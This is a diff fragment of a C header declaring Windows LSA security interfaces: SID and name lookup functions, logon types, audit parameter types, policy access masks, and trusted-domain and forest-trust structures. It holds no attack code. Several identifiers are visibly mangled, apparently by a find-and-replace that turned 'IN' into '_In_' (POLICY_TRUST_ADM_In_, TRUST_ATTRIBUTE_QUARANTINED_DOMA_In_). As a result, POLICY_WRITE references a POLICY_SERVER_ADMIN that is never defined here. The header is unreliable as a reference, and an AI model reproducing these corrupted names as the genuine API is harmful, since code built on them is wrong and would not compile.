DomainIndex; + ULONG Flags; +} LSA_TRANSLATED_SID2, *PLSA_TRANSLATED_SID2; +#endif + +typedef struct _LSA_TRANSLATED_NAME { + SID_NAME_USE Use; + LSA_UNICODE_STRING Name; + LONG DomainIndex; +} LSA_TRANSLATED_NAME, *PLSA_TRANSLATED_NAME; + +typedef struct _POLICY_ACCOUNT_DOMAIN_INFO { + LSA_UNICODE_STRING DomainName; + PSID DomainSid; +} POLICY_ACCOUNT_DOMAIN_INFO, *PPOLICY_ACCOUNT_DOMAIN_INFO; + +typedef struct _POLICY_DNS_DOMAIN_INFO +{ + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING DnsForestName; + GUID DomainGuid; + PSID Sid; +} POLICY_DNS_DOMAIN_INFO, *PPOLICY_DNS_DOMAIN_INFO; + +#define LOOKUP_VIEW_LOCAL_INFORMATION 0x00000001 +#define LOOKUP_TRANSLATE_NAMES 0x00000800 + +typedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS { + AccountDomainInformation = 5, + DnsDomainInformation = 12 +} LSA_LOOKUP_DOMAIN_INFO_CLASS, *PLSA_LOOKUP_DOMAIN_INFO_CLASS; + +typedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE; + +NTSTATUS +LsaLookupOpenLocalPolicy( + _In_ PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + _In_ ACCESS_MASK AccessMask, + _In_ _Out_ PLSA_LOOKUP_HANDLE PolicyHandle + ); + +NTSTATUS +LsaLookupClose( + _In_ LSA_LOOKUP_HANDLE ObjectHandle + ); + +NTSTATUS +LsaLookupTranslateSids( + _In_ LSA_LOOKUP_HANDLE PolicyHandle, + _In_ ULONG Count, + _In_ PSID *Sids, + _Out_ PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + _Out_ PLSA_TRANSLATED_NAME *Names + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +LsaLookupTranslateNames( + _In_ LSA_LOOKUP_HANDLE PolicyHandle, + _In_ ULONG Flags, + _In_ ULONG Count, + _In_ PLSA_UNICODE_STRING Names, + _Out_ PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + _Out_ PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +LsaLookupGetDomainInfo( + _In_ LSA_LOOKUP_HANDLE PolicyHandle, + _In_ LSA_LOOKUP_DOMAIN_INFO_CLASS DomainInfoClass, + _Out_ PVOID *DomainInfo + ); + +NTSTATUS +LsaLookupFreeMemory( + _In_ PVOID Buffer + ); + +#endif // _LSALOOKUP_ + +#define LSA_MODE_PASSWORD_PROTECTED (0x00000001L) +#define LSA_MODE_INDIVIDUAL_ACCOUNTS (0x00000002L) +#define LSA_MODE_MANDATORY_ACCESS (0x00000004L) +#define LSA_MODE_LOG_FULL (0x00000008L) + +typedef enum _SECURITY_LOGON_TYPE { + UndefinedLogonType = 0, // This is used to specify an undefied logon type + Interactive = 2, // Interactively logged on (locally or remotely) + Network, // Accessing system via network + Batch, // Started via a batch queue + Service, // Service started by service controller + Proxy, // Proxy logon + Unlock, // Unlock workstation + NetworkCleartext, // Network logon with cleartext credentials + NewCredentials, // Clone caller, new default credentials + //The types below only exist in Windows XP and greater +#if (_WIN32_WINNT >= 0x0501) + RemoteInteractive, // Remote, yet interactive. Terminal server + CachedInteractive, // Try cached credentials without hitting the net. + // The types below only exist in Windows Server 2003 and greater +#endif +#if (_WIN32_WINNT >= 0x0502) + CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose + CachedUnlock // Cached Unlock workstation +#endif +} SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE; + +typedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE; + +#if !defined(_NTLSA_AUDIT_) +#define _NTLSA_AUDIT_ + +// +// The following enumerated type is used between the reference monitor and +// LSA in the generation of audit messages. It is used to indicate the +// type of data being passed as a parameter from the reference monitor +// to LSA. LSA is responsible for transforming the specified data type +// into a set of unicode strings that are added to the event record in +// the audit log. +// + +typedef enum _SE_ADT_PARAMETER_TYPE { + + SeAdtParmTypeNone = 0, //Produces 1 parameter + SeAdtParmTypeString, //Produces 1 parameter. + SeAdtParmTypeFileSpec, + SeAdtParmTypeUlong, //Produces 1 parameter + SeAdtParmTypeSid, //Produces 1 parameter. + SeAdtParmTypeLogonId, //Produces 4 parameters. + SeAdtParmTypeNoLogonId, //Produces 3 parameters. + SeAdtParmTypeAccessMask, //Produces 1 parameter with formatting. + SeAdtParmTypePrivs, //Produces 1 parameter with formatting. + SeAdtParmTypeObjectTypes, //Produces 10 parameters with formatting. + SeAdtParmTypeHexUlong, //Produces 1 parameter + SeAdtParmTypePtr, //Produces 1 parameter + SeAdtParmTypeTime, //Produces 2 parameters + SeAdtParmTypeGuid, //Produces 1 parameter + SeAdtParmTypeLuid, // + SeAdtParmTypeHexInt64, //Produces 1 parameter + SeAdtParmTypeStringList, //Produces 1 parameter + SeAdtParmTypeSidList, //Produces 1 parameter + SeAdtParmTypeDuration, //Produces 1 parameters + SeAdtParmTypeUserAccountControl,//Produces 3 parameters + SeAdtParmTypeNoUac, //Produces 3 parameters + SeAdtParmTypeMessage, //Produces 1 Parameter + SeAdtParmTypeDateTime, //Produces 1 Parameter + SeAdtParmTypeSockAddr, // Produces 2 parameters + SeAdtParmTypeSD, // Produces 1 parameters + SeAdtParmTypeLogonHours, // Produces 1 parameters + SeAdtParmTypeLogonIdNoSid, //Produces 3 parameters. + SeAdtParmTypeUlongNoConv, // Produces 1 parameter. + SeAdtParmTypeSockAddrNoPort, // Produces 1 parameter + SeAdtParmTypeAccessReason + +} SE_ADT_PARAMETER_TYPE, *PSE_ADT_PARAMETER_TYPE; + +#if !defined(GUID_DEFINED) +#include +#endif /* GUID_DEFINED */ + +typedef struct _SE_ADT_OBJECT_TYPE { + GUID ObjectType; + USHORT Flags; +#define SE_ADT_OBJECT_ONLY 0x1 + USHORT Level; + ACCESS_MASK AccessMask; +} SE_ADT_OBJECT_TYPE, *PSE_ADT_OBJECT_TYPE; + +typedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY { + + SE_ADT_PARAMETER_TYPE Type; + ULONG Length; + ULONG_PTR Data[2]; + PVOID Address; +} SE_ADT_PARAMETER_ARRAY_ENTRY, *PSE_ADT_PARAMETER_ARRAY_ENTRY; + + +typedef struct _SE_ADT_ACCESS_REASON{ + ACCESS_MASK AccessMask; + ULONG AccessReasons[32]; + ULONG ObjectTypeIndex; + ULONG AccessGranted; + PSECURITY_DESCRIPTOR SecurityDescriptor; +} SE_ADT_ACCESS_REASON, *PSE_ADT_ACCESS_REASON; + +#define SE_MAX_AUDIT_PARAMETERS 32 +#define SE_MAX_GENERIC_AUDIT_PARAMETERS 28 + +typedef struct _SE_ADT_PARAMETER_ARRAY { + + ULONG CategoryId; + ULONG AuditId; + ULONG ParameterCount; + ULONG Length; + USHORT FlatSubCategoryId; + USHORT Type; + ULONG Flags; + SE_ADT_PARAMETER_ARRAY_ENTRY Parameters[ SE_MAX_AUDIT_PARAMETERS ]; + +} SE_ADT_PARAMETER_ARRAY, *PSE_ADT_PARAMETER_ARRAY; + +#define SE_ADT_PARAMETERS_SELF_RELATIVE 0x00000001 +#define SE_ADT_PARAMETERS_SEND_TO_LSA 0x00000002 +#define SE_ADT_PARAMETER_EXTENSIBLE_AUDIT 0x00000004 +#define SE_ADT_PARAMETER_GENERIC_AUDIT 0x00000008 +#define SE_ADT_PARAMETER_WRITE_SYNCHRONOUS 0x00000010 + +#define LSAP_SE_ADT_PARAMETER_ARRAY_TRUE_SIZE(AuditParameters) \ + ( sizeof(SE_ADT_PARAMETER_ARRAY) - \ + sizeof(SE_ADT_PARAMETER_ARRAY_ENTRY) * \ + (SE_MAX_AUDIT_PARAMETERS - AuditParameters->ParameterCount) ) + +#endif // !defined(_NTLSA_AUDIT_) + +typedef enum _POLICY_AUDIT_EVENT_TYPE { + + AuditCategorySystem = 0, + AuditCategoryLogon, + AuditCategoryObjectAccess, + AuditCategoryPrivilegeUse, + AuditCategoryDetailedTracking, + AuditCategoryPolicyChange, + AuditCategoryAccountManagement, + AuditCategoryDirectoryServiceAccess, + AuditCategoryAccountLogon + +} POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE; + +#define POLICY_AUDIT_EVENT_UNCHANGED (0x00000000L) +#define POLICY_AUDIT_EVENT_SUCCESS (0x00000001L) +#define POLICY_AUDIT_EVENT_FAILURE (0x00000002L) +#define POLICY_AUDIT_EVENT_NONE (0x00000004L) + +#define POLICY_AUDIT_EVENT_MASK \ + (POLICY_AUDIT_EVENT_SUCCESS | \ + POLICY_AUDIT_EVENT_FAILURE | \ + POLICY_AUDIT_EVENT_UNCHANGED | \ + POLICY_AUDIT_EVENT_NONE) + +#define LSA_SUCCESS(Error) ((LONG)(Error) >= 0) + +NTSTATUS +NTAPI +LsaRegisterLogonProcess ( + _In_ PLSA_STRING LogonProcessName, + _Out_ PHANDLE LsaHandle, + _Out_ PLSA_OPERATIONAL_MODE SecurityMode + ); + +NTSTATUS +NTAPI +LsaLogonUser ( + _In_ HANDLE LsaHandle, + _In_ PLSA_STRING OriginName, + _In_ SECURITY_LOGON_TYPE LogonType, + _In_ ULONG AuthenticationPackage, + _In_ PVOID AuthenticationInformation, + _In_ ULONG AuthenticationInformationLength, + _In_ OPTIONAL PTOKEN_GROUPS LocalGroups, + _In_ PTOKEN_SOURCE SourceContext, + _Out_ PVOID *ProfileBuffer, + _Out_ PULONG ProfileBufferLength, + _Out_ PLUID LogonId, + _Out_ PHANDLE Token, + _Out_ PQUOTA_LIMITS Quotas, + _Out_ PNTSTATUS SubStatus + ); + +NTSTATUS +NTAPI +LsaLookupAuthenticationPackage ( + _In_ HANDLE LsaHandle, + _In_ PLSA_STRING PackageName, + _Out_ PULONG AuthenticationPackage + ); + +NTSTATUS +NTAPI +LsaFreeReturnBuffer ( + _In_ PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaCallAuthenticationPackage ( + _In_ HANDLE LsaHandle, + _In_ ULONG AuthenticationPackage, + _In_ PVOID ProtocolSubmitBuffer, + _In_ ULONG SubmitBufferLength, + _Out_ OPTIONAL PVOID *ProtocolReturnBuffer, + _Out_ OPTIONAL PULONG ReturnBufferLength, + _Out_ OPTIONAL PNTSTATUS ProtocolStatus + ); + +NTSTATUS +NTAPI +LsaDeregisterLogonProcess ( + _In_ HANDLE LsaHandle + ); + +NTSTATUS +NTAPI +LsaConnectUntrusted ( + _Out_ PHANDLE LsaHandle + ); + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy Administration API datatypes and defines // +// // +//////////////////////////////////////////////////////////////////////////// + +#define POLICY_VIEW_LOCAL_INFORMATION 0x00000001L +#define POLICY_VIEW_AUDIT_INFORMATION 0x00000002L +#define POLICY_GET_PRIVATE_INFORMATION 0x00000004L +#define POLICY_TRUST_ADM_In_ 0x00000008L +#define POLICY_CREATE_ACCOUNT 0x00000010L +#define POLICY_CREATE_SECRET 0x00000020L +#define POLICY_CREATE_PRIVILEGE 0x00000040L +#define POLICY_SET_DEFAULT_QUOTA_LIMITS 0x00000080L +#define POLICY_SET_AUDIT_REQUIREMENTS 0x00000100L +#define POLICY_AUDIT_LOG_ADM_In_ 0x00000200L +#define POLICY_SERVER_ADM_In_ 0x00000400L +#define POLICY_LOOKUP_NAMES 0x00000800L +#define POLICY_NOTIFICATION 0x00001000L + +#define POLICY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION |\ + POLICY_TRUST_ADM_In_ |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADM_In_ |\ + POLICY_SERVER_ADM_In_ |\ + POLICY_LOOKUP_NAMES) + + +#define POLICY_READ (STANDARD_RIGHTS_READ |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION) + +#define POLICY_WRITE (STANDARD_RIGHTS_WRITE |\ + POLICY_TRUST_ADM_In_ |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADM_In_ |\ + POLICY_SERVER_ADMIN) + +#define POLICY_EXECUTE (STANDARD_RIGHTS_EXECUTE |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_LOOKUP_NAMES) + +typedef struct _LSA_TRANSLATED_SID { + + SID_NAME_USE Use; + ULONG RelativeId; + LONG DomainIndex; + +} LSA_TRANSLATED_SID, *PLSA_TRANSLATED_SID; + +typedef enum _POLICY_LSA_SERVER_ROLE { + + PolicyServerRoleBackup = 2, + PolicyServerRolePrimary + +} POLICY_LSA_SERVER_ROLE, *PPOLICY_LSA_SERVER_ROLE; + +#if (_WIN32_WINNT < 0x0502) + +typedef enum _POLICY_SERVER_ENABLE_STATE { + + PolicyServerEnabled = 2, + PolicyServerDisabled + +} POLICY_SERVER_ENABLE_STATE, *PPOLICY_SERVER_ENABLE_STATE; +#endif + +typedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS; + +typedef enum _POLICY_INFORMATION_CLASS { + + PolicyAuditLogInformation = 1, + PolicyAuditEventsInformation, + PolicyPrimaryDomainInformation, + PolicyPdAccountInformation, + PolicyAccountDomainInformation, + PolicyLsaServerRoleInformation, + PolicyReplicaSourceInformation, + PolicyDefaultQuotaInformation, + PolicyModificationInformation, + PolicyAuditFullSetInformation, + PolicyAuditFullQueryInformation, + PolicyDnsDomainInformation, + PolicyDnsDomainInformationInt, + PolicyLocalAccountDomainInformation, + PolicyLastEntry + +} POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS; + +typedef struct _POLICY_AUDIT_LOG_INFO { + + ULONG AuditLogPercentFull; + ULONG MaximumLogSize; + LARGE_INTEGER AuditRetentionPeriod; + BOOLEAN AuditLogFullShutdownInProgress; + LARGE_INTEGER TimeToShutdown; + ULONG NextAuditRecordId; + +} POLICY_AUDIT_LOG_INFO, *PPOLICY_AUDIT_LOG_INFO; + +typedef struct _POLICY_AUDIT_EVENTS_INFO { + + BOOLEAN AuditingMode; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + ULONG MaximumAuditEventCount; + +} POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO; + +typedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO { + + ULONG MaximumSubCategoryCount; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + +} POLICY_AUDIT_SUBCATEGORIES_INFO, *PPOLICY_AUDIT_SUBCATEGORIES_INFO; + +typedef struct _POLICY_AUDIT_CATEGORIES_INFO { + + ULONG MaximumCategoryCount; + PPOLICY_AUDIT_SUBCATEGORIES_INFO SubCategoriesInfo; + +} POLICY_AUDIT_CATEGORIES_INFO, *PPOLICY_AUDIT_CATEGORIES_INFO; + +// +// Valid bits for Per user policy mask. +// + +#define PER_USER_POLICY_UNCHANGED (0x00) +#define PER_USER_AUDIT_SUCCESS_INCLUDE (0x01) +#define PER_USER_AUDIT_SUCCESS_EXCLUDE (0x02) +#define PER_USER_AUDIT_FAILURE_INCLUDE (0x04) +#define PER_USER_AUDIT_FAILURE_EXCLUDE (0x08) +#define PER_USER_AUDIT_NONE (0x10) + + +#define VALID_PER_USER_AUDIT_POLICY_FLAG (PER_USER_AUDIT_SUCCESS_INCLUDE | \ + PER_USER_AUDIT_SUCCESS_EXCLUDE | \ + PER_USER_AUDIT_FAILURE_INCLUDE | \ + PER_USER_AUDIT_FAILURE_EXCLUDE | \ + PER_USER_AUDIT_NONE) + +typedef struct _POLICY_PRIMARY_DOMAIN_INFO { + + LSA_UNICODE_STRING Name; + PSID Sid; + +} POLICY_PRIMARY_DOMAIN_INFO, *PPOLICY_PRIMARY_DOMAIN_INFO; + +typedef struct _POLICY_PD_ACCOUNT_INFO { + + LSA_UNICODE_STRING Name; + +} POLICY_PD_ACCOUNT_INFO, *PPOLICY_PD_ACCOUNT_INFO; + +typedef struct _POLICY_LSA_SERVER_ROLE_INFO { + + POLICY_LSA_SERVER_ROLE LsaServerRole; + +} POLICY_LSA_SERVER_ROLE_INFO, *PPOLICY_LSA_SERVER_ROLE_INFO; + +typedef struct _POLICY_REPLICA_SOURCE_INFO { + + LSA_UNICODE_STRING ReplicaSource; + LSA_UNICODE_STRING ReplicaAccountName; + +} POLICY_REPLICA_SOURCE_INFO, *PPOLICY_REPLICA_SOURCE_INFO; + +typedef struct _POLICY_DEFAULT_QUOTA_INFO { + + QUOTA_LIMITS QuotaLimits; + +} POLICY_DEFAULT_QUOTA_INFO, *PPOLICY_DEFAULT_QUOTA_INFO; + + +typedef struct _POLICY_MODIFICATION_INFO { + + LARGE_INTEGER ModifiedId; + LARGE_INTEGER DatabaseCreationTime; + +} POLICY_MODIFICATION_INFO, *PPOLICY_MODIFICATION_INFO; + + +typedef struct _POLICY_AUDIT_FULL_SET_INFO { + + BOOLEAN ShutDownOnFull; + +} POLICY_AUDIT_FULL_SET_INFO, *PPOLICY_AUDIT_FULL_SET_INFO; + + +typedef struct _POLICY_AUDIT_FULL_QUERY_INFO { + + BOOLEAN ShutDownOnFull; + BOOLEAN LogIsFull; + +} POLICY_AUDIT_FULL_QUERY_INFO, *PPOLICY_AUDIT_FULL_QUERY_INFO; + + +typedef enum _POLICY_DOMAIN_INFORMATION_CLASS { + +#if (_WIN32_WINNT <= 0x0500) + PolicyDomainQualityOfServiceInformation = 1, +#endif + PolicyDomainEfsInformation = 2, + PolicyDomainKerberosTicketInformation + +} POLICY_DOMAIN_INFORMATION_CLASS, *PPOLICY_DOMAIN_INFORMATION_CLASS; + +#if (_WIN32_WINNT < 0x0502) + +#define POLICY_QOS_SCHANNEL_REQUIRED 0x00000001 +#define POLICY_QOS_OUTBOUND_INTEGRITY 0x00000002 +#define POLICY_QOS_OUTBOUND_CONFIDENTIALITY 0x00000004 +#define POLICY_QOS_INBOUND_INTEGRITY 0x00000008 +#define POLICY_QOS_INBOUND_CONFIDENTIALITY 0x00000010 +#define POLICY_QOS_ALLOW_LOCAL_ROOT_CERT_STORE 0x00000020 +#define POLICY_QOS_RAS_SERVER_ALLOWED 0x00000040 +#define POLICY_QOS_DHCP_SERVER_ALLOWED 0x00000080 + +// +// Bits 0x00000100 through 0xFFFFFFFF are reserved for future use. +// +#endif + +#if (_WIN32_WINNT == 0x0500) +typedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO { + + ULONG QualityOfService; + +} POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO, *PPOLICY_DOMAIN_QUALITY_OF_SERVICE_INFO; + +#endif + +typedef struct _POLICY_DOMAIN_EFS_INFO { + + ULONG InfoLength; + PUCHAR EfsBlob; + +} POLICY_DOMAIN_EFS_INFO, *PPOLICY_DOMAIN_EFS_INFO; + +#define POLICY_KERBEROS_VALIDATE_CLIENT 0x00000080 + +typedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO { + + ULONG AuthenticationOptions; + LARGE_INTEGER MaxServiceTicketAge; + LARGE_INTEGER MaxTicketAge; + LARGE_INTEGER MaxRenewAge; + LARGE_INTEGER MaxClockSkew; + LARGE_INTEGER Reserved; +} POLICY_DOMAIN_KERBEROS_TICKET_INFO, *PPOLICY_DOMAIN_KERBEROS_TICKET_INFO; + +typedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS { + + PolicyNotifyAuditEventsInformation = 1, + PolicyNotifyAccountDomainInformation, + PolicyNotifyServerRoleInformation, + PolicyNotifyDnsDomainInformation, + PolicyNotifyDomainEfsInformation, + PolicyNotifyDomainKerberosTicketInformation, + PolicyNotifyMachineAccountPasswordInformation, + PolicyNotifyGlobalSaclInformation, + PolicyNotifyMax // must always be the last entry + +} POLICY_NOTIFICATION_INFORMATION_CLASS, *PPOLICY_NOTIFICATION_INFORMATION_CLASS; + +typedef PVOID LSA_HANDLE, *PLSA_HANDLE; + +typedef enum _TRUSTED_INFORMATION_CLASS { + + TrustedDomainNameInformation = 1, + TrustedControllersInformation, + TrustedPosixOffsetInformation, + TrustedPasswordInformation, + TrustedDomainInformationBasic, + TrustedDomainInformationEx, + TrustedDomainAuthInformation, + TrustedDomainFullInformation, + TrustedDomainAuthInformationInternal, + TrustedDomainFullInformationInternal, + TrustedDomainInformationEx2Internal, + TrustedDomainFullInformation2Internal, + TrustedDomainSupportedEncryptionTypes, +} TRUSTED_INFORMATION_CLASS, *PTRUSTED_INFORMATION_CLASS; + +typedef struct _TRUSTED_DOMAIN_NAME_INFO { + + LSA_UNICODE_STRING Name; + +} TRUSTED_DOMAIN_NAME_INFO, *PTRUSTED_DOMAIN_NAME_INFO; + +typedef struct _TRUSTED_CONTROLLERS_INFO { + + ULONG Entries; + PLSA_UNICODE_STRING Names; + +} TRUSTED_CONTROLLERS_INFO, *PTRUSTED_CONTROLLERS_INFO; + +typedef struct _TRUSTED_POSIX_OFFSET_INFO { + + ULONG Offset; + +} TRUSTED_POSIX_OFFSET_INFO, *PTRUSTED_POSIX_OFFSET_INFO; + +typedef struct _TRUSTED_PASSWORD_INFO { + LSA_UNICODE_STRING Password; + LSA_UNICODE_STRING OldPassword; +} TRUSTED_PASSWORD_INFO, *PTRUSTED_PASSWORD_INFO; + +typedef LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC; +typedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC; + +#define TRUST_DIRECTION_DISABLED 0x00000000 +#define TRUST_DIRECTION_INBOUND 0x00000001 +#define TRUST_DIRECTION_OUTBOUND 0x00000002 +#define TRUST_DIRECTION_BIDIRECTIONAL (TRUST_DIRECTION_INBOUND | TRUST_DIRECTION_OUTBOUND) + +#define TRUST_TYPE_DOWNLEVEL 0x00000001 // NT4 and before +#define TRUST_TYPE_UPLEVEL 0x00000002 // NT5 +#define TRUST_TYPE_MIT 0x00000003 // Trust with a MIT Kerberos realm + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_TYPE_DCE 0x00000004 // Trust with a DCE realm +#endif + +// Levels 0x5 - 0x000FFFFF reserved for future use +// Provider specific trust levels are from 0x00100000 to 0xFFF00000 + +#define TRUST_ATTRIBUTE_NON_TRANSITIVE 0x00000001 // Disallow transitivity +#define TRUST_ATTRIBUTE_UPLEVEL_ONLY 0x00000002 // Trust link only valid for uplevel client +#if (_WIN32_WINNT == 0x0500) +#define TRUST_ATTRIBUTE_TREE_PARENT 0x00400000 // Denotes that we are setting the trust + // to our parent in the org tree... +#define TRUST_ATTRIBUTE_TREE_ROOT 0x00800000 // Denotes that we are setting the trust + // to another tree root in a forest... +// Trust attributes 0x00000004 through 0x004FFFFF reserved for future use +// Trust attributes 0x00F00000 through 0x00400000 are reserved for internal use +// Trust attributes 0x01000000 through 0xFF000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF02FFFF +#endif + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_ATTRIBUTE_FILTER_SIDS 0x00000004 // Used to quarantine domains +#else +#define TRUST_ATTRIBUTE_QUARANTINED_DOMA_In_ 0x00000004 // Used to quarantine domains +#endif + +#if (_WIN32_WINNT >= 0x0501) +#define TRUST_ATTRIBUTE_FOREST_TRANSITIVE 0x00000008 // This link may contain forest trust information +#if (_WIN32_WINNT >= 0x0502) +#define TRUST_ATTRIBUTE_CROSS_ORGANIZATION 0x00000010 // This trust is to a domain/forest which is not part of this enterprise +#define TRUST_ATTRIBUTE_WITHIN_FOREST 0x00000020 // Trust is internal to this forest +#define TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL 0x00000040 // Trust is to be treated as external for trust boundary purposes +#if (_WIN32_WINNT >= 0x0600) +#define TRUST_ATTRIBUTE_TRUST_USES_RC4_ENCRYPTION 0x00000080 // MIT trust with RC4 +#define TRUST_ATTRIBUTE_TRUST_USES_AES_KEYS 0x00000100 // Use AES keys to encrypte KRB TGTs +#endif +// Trust attributes 0x00000040 through 0x00200000 are reserved for future use +#else +// Trust attributes 0x00000010 through 0x00200000 are reserved for future use +#endif +// Trust attributes 0x00400000 through 0x00800000 were used previously (up to W2K) and should not be re-used +// Trust attributes 0x01000000 through 0x80000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF03FFFF +#endif +#define TRUST_ATTRIBUTES_USER 0xFF000000 + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + +} TRUSTED_DOMAIN_INFORMATION_EX, *PTRUSTED_DOMAIN_INFORMATION_EX; + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + ULONG ForestTrustLength; +#ifdef MIDL_PASS + [size_is( ForestTrustLength )] +#endif + PUCHAR ForestTrustInfo; + +} TRUSTED_DOMAIN_INFORMATION_EX2, *PTRUSTED_DOMAIN_INFORMATION_EX2; + +#define TRUST_AUTH_TYPE_NONE 0 // Ignore this entry +#define TRUST_AUTH_TYPE_NT4OWF 1 // NT4 OWF password +#define TRUST_AUTH_TYPE_CLEAR 2 // Cleartext password +#define TRUST_AUTH_TYPE_VERSION 3 // Cleartext password version number + +typedef struct _LSA_AUTH_INFORMATION { + + LARGE_INTEGER LastUpdateTime; + ULONG AuthType; + ULONG AuthInfoLength; + PUCHAR AuthInfo; +} LSA_AUTH_INFORMATION, *PLSA_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION { + + ULONG IncomingAuthInfos; + PLSA_AUTH_INFORMATION IncomingAuthenticationInformation; + PLSA_AUTH_INFORMATION IncomingPreviousAuthenticationInformation; + ULONG OutgoingAuthInfos; + PLSA_AUTH_INFORMATION OutgoingAuthenticationInformation; + PLSA_AUTH_INFORMATION OutgoingPreviousAuthenticationInformation; + +} TRUSTED_DOMAIN_AUTH_INFORMATION, *PTRUSTED_DOMAIN_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION { + + TRUSTED_DOMAIN_INFORMATION_EX Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION, *PTRUSTED_DOMAIN_FULL_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 { + + TRUSTED_DOMAIN_INFORMATION_EX2 Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION2, *PTRUSTED_DOMAIN_FULL_INFORMATION2; + +typedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES { + + ULONG SupportedEncryptionTypes; + +} TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES, *PTRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES; + +typedef enum { + + ForestTrustTopLevelName, + ForestTrustTopLevelNameEx, + ForestTrustDomainInfo, + ForestTrustRecordTypeLast = ForestTrustDomainInfo + +} LSA_FOREST_TRUST_RECORD_TYPE; + +#if (_WIN32_WINNT < 0x0502) +#define LSA_FOREST_TRUST_RECORD_TYPE_UNRECOGNIZED 0x80000000 +#endif + +// +// Bottom 16 bits of the flags are reserved for disablement reasons +// + +#define LSA_FTRECORD_DISABLED_REASONS ( 0x0000FFFFL ) + +// +// Reasons for a top-level name forest trust record to be disabled +// + +#define LSA_TLN_DISABLED_NEW ( 0x00000001L ) +#define LSA_TLN_DISABLED_ADM_In_ ( 0x00000002L ) +#define LSA_TLN_DISABLED_CONFLICT ( 0x00000004L ) + +// +// Reasons for a domain information forest trust record to be disabled +// + +#define LSA_SID_DISABLED_ADM_In_ ( 0x00000001L ) +#define LSA_SID_DISABLED_CONFLICT ( 0x00000002L ) +#define LSA_NB_DISABLED_ADM_In_ ( 0x00000004L ) +#define LSA_NB_DISABLED_CONFLICT ( 0x00000008L ) + +typedef struct _LSA_FOREST_TRUST_DOMAIN_INFO { + +#ifdef MIDL_PASS + PISID Sid; +#else + PSID Sid; +#endif + LSA_UNICODE_STRING DnsName; + LSA_UNICODE_STRING NetbiosName; + +} LSA_FOREST_TRUST_DOMAIN_INFO, *PLSA_FOREST_TRUST_DOMAIN_INFO; + + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent huge data to be passed in, we should put a limit on LSA_FOREST_TRUST_BINARY_DATA. +// 128K is large enough that can't be reached in the near future, and small enough not to +// cause memory problems. + +#define MAX_FOREST_TRUST_BINARY_DATA_SIZE ( 128 * 1024 ) +#endif + +typedef struct _LSA_FOREST_TRUST_BINARY_DATA { + +#ifdef MIDL_PASS + [range(0, MAX_FOREST_TRUST_BINARY_DATA_SIZE)] ULONG Length; + [size_is( Length )] PUCHAR Buffer; +#else + ULONG Length; + PUCHAR Buffer; 